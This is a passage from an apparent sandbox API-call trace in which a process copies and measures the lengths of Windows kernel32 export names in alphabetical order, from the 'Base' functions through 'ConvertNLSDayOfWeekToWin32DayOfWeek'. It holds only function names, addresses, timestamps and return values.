lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0119.608] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0119.608] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0119.608] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0119.608] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0119.608] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0119.608] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0119.608] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0119.608] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0119.608] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0119.608] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0119.608] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0119.608] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0119.608] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0119.608] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0119.608] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0119.608] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0119.608] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0119.608] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0119.608] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0119.608] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0119.608] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0119.609] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0119.609] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0119.609] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0119.609] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0119.609] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0119.609] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0119.609] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0119.609] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0119.609] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0119.609] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0119.609] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0119.609] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0119.609] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0119.609] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0119.609] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0119.609] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0119.609] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0119.609] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0119.609] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0119.609] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0119.609] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0119.609] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0119.609] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0119.609] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0119.609] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0119.609] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0119.609] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0119.609] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0119.609] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0119.609] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0119.609] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0119.609] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0119.610] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0119.610] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0119.610] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0119.610] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0119.610] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0119.610] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0119.610] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0119.610] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0119.610] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0119.610] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0119.610] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0119.610] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0119.610] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0119.610] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0119.610] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0119.610] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0119.610] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0119.610] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0119.610] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0119.610] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0119.610] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0119.610] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0119.610] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0119.610] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0119.610] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0119.610] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0119.610] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0119.610] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0119.610] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0119.610] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0119.610] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0119.611] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0119.611] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0119.611] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0119.611] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0119.611] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0119.611] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0119.611] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0119.611] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0119.611] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0119.611] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0119.611] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0119.611] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0119.611] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0119.611] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0119.611] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0119.611] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0119.611] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0119.611] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0119.611] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0119.611] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0119.611] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0119.611] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0119.611] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0119.611] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0119.611] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0119.611] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0119.611] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0119.611] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0119.611] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0119.611] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0119.611] lstrlenA (lpString="BEEP") returned 4 [0119.612] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0119.612] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0119.612] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0119.612] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0119.612] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0119.612] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0119.612] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0119.612] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0119.612] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0119.612] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0119.612] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0119.612] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0119.612] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0119.612] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0119.612] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0119.612] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0119.613] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0119.613] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0119.613] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0119.613] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0119.613] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0119.613] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0119.613] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0119.613] lstrlenA (lpString="CANCELIO") returned 8 [0119.613] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0119.613] lstrlenA (lpString="CANCELIOEX") returned 10 [0119.613] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0119.613] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0119.613] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0119.613] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0119.613] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0119.613] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0119.613] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0119.613] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0119.613] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0119.613] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0119.613] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0119.613] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0119.613] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0119.613] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0119.613] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0119.613] lstrlenA (lpString="CHECKELEVATION") returned 14 [0119.613] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0119.613] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0119.613] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0119.613] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0119.614] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0119.614] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0119.614] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0119.614] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0119.614] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0119.614] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0119.614] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0119.614] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0119.614] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0119.614] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0119.614] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0119.614] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0119.614] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0119.614] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0119.614] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0119.614] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0119.614] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0119.614] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0119.614] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0119.614] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0119.614] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0119.614] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0119.614] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0119.614] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0119.614] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0119.614] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0119.614] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0119.614] lstrlenA (lpString="CLOSESTATE") returned 10 [0119.614] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0119.614] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0119.614] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0119.614] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0119.614] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0119.615] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0119.615] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0119.615] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0119.615] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0119.615] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0119.615] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0119.615] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0119.615] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0119.615] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0119.615] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0119.615] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0119.615] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0119.615] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0119.615] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0119.615] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0119.615] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0119.615] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0119.615] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0119.615] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0119.615] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0119.615] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0119.615] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0119.615] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0119.615] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0119.615] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0119.615] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0119.615] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0119.615] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0119.615] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0119.615] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0119.615] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0119.615] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0119.616] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0119.616] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0119.616] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0119.616] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0119.616] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0119.616] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0119.616] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0119.616] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") 